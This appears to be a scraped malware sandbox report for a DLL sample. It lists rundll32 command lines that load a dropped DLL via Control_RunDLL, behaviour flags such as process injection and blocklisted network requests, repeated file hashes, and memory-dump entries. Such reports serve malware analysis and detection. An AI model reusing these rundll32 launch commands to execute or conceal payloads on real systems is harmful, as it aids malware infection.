C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Shfku8t\Wnwspx3\A1_H.dll Control_RunDLL4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cianveyzszgsvvv\cfvgcxskfnpejy.ntu",Control_RunDLL5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Shfku8t\Wnwspx3\A1_H.dllMD5
bbb4ae6e86a6f44cf8ff27af3144f98f
SHA1a5c711f2c0342f9b64cd0995cf54becfb54e1e4b
SHA256f1139367dee04d0840abda84f6a777f9944b208870b6f834d77cd800b491df53
SHA512508e00db633c65bceb4bfebe32b46df9fa3afd5de1ac83c3dd8ead5fabe4480a526bfca238c175fb3a148c94cd7b0d652c728dfab90b874b338f84317e8379cc
-
\Users\Admin\Shfku8t\Wnwspx3\A1_H.dllMD5
bbb4ae6e86a6f44cf8ff27af3144f98f
SHA1a5c711f2c0342f9b64cd0995cf54becfb54e1e4b
SHA256f1139367dee04d0840abda84f6a777f9944b208870b6f834d77cd800b491df53
SHA512508e00db633c65bceb4bfebe32b46df9fa3afd5de1ac83c3dd8ead5fabe4480a526bfca238c175fb3a148c94cd7b0d652c728dfab90b874b338f84317e8379cc
-
\Users\Admin\Shfku8t\Wnwspx3\A1_H.dllMD5
bbb4ae6e86a6f44cf8ff27af3144f98f
SHA1a5c711f2c0342f9b64cd0995cf54becfb54e1e4b
SHA256f1139367dee04d0840abda84f6a777f9944b208870b6f834d77cd800b491df53
SHA512508e00db633c65bceb4bfebe32b46df9fa3afd5de1ac83c3dd8ead5fabe4480a526bfca238c175fb3a148c94cd7b0d652c728dfab90b874b338f84317e8379cc
-
\Users\Admin\Shfku8t\Wnwspx3\A1_H.dllMD5
bbb4ae6e86a6f44cf8ff27af3144f98f
SHA1a5c711f2c0342f9b64cd0995cf54becfb54e1e4b
SHA256f1139367dee04d0840abda84f6a777f9944b208870b6f834d77cd800b491df53
SHA512508e00db633c65bceb4bfebe32b46df9fa3afd5de1ac83c3dd8ead5fabe4480a526bfca238c175fb3a148c94cd7b0d652c728dfab90b874b338f84317e8379cc
-
\Users\Admin\Shfku8t\Wnwspx3\A1_H.dllMD5
bbb4ae6e86a6f44cf8ff27af3144f98f
SHA1a5c711f2c0342f9b64cd0995cf54becfb54e1e4b
SHA256f1139367dee04d0840abda84f6a777f9944b208870b6f834d77cd800b491df53
SHA512508e00db633c65bceb4bfebe32b46df9fa3afd5de1ac83c3dd8ead5fabe4480a526bfca238c175fb3a148c94cd7b0d652c728dfab90b874b338f84317e8379cc
-
memory/792-2-0x0000000000000000-mapping.dmp
-
memory/1528-20-0x0000000000230000-0x0000000000250000-memory.dmpFilesize
128KB
-
memory/1528-19-0x0000000000000000-mapping.dmp
-
memory/1632-18-0x0000000000220000-0x0000000000240000-memory.dmpFilesize
128KB
-
memory/1632-13-0x0000000000000000-mapping.dmp
-
memory/1764-4-0x000007FEF5050000-0x000007FEF5A3C000-memory.dmpFilesize
9.9MB
-
memory/1764-10-0x000000001C1F0000-0x000000001C1F1000-memory.dmpFilesize
4KB
-
memory/1764-8-0x0000000002570000-0x0000000002571000-memory.dmpFilesize
4KB
-
memory/1764-7-0x00000000024B0000-0x00000000024B1000-memory.dmpFilesize
4KB
-
memory/1764-6-0x000000001AC00000-0x000000001AC01000-memory.dmpFilesize
4KB
-
memory/1764-5-0x0000000001E30000-0x0000000001E31000-memory.dmpFilesize
4KB
-
memory/1764-9-0x000000001B4B0000-0x000000001B4B1000-memory.dmpFilesize
4KB
-
memory/1764-3-0x0000000000000000-mapping.dmp
-
memory/1936-21-0x000007FEF7180000-0x000007FEF73FA000-memory.dmpFilesize
2.5MB
-
memory/1964-11-0x0000000000000000-mapping.dmp
-
memory/2008-22-0x0000000000000000-mapping.dmp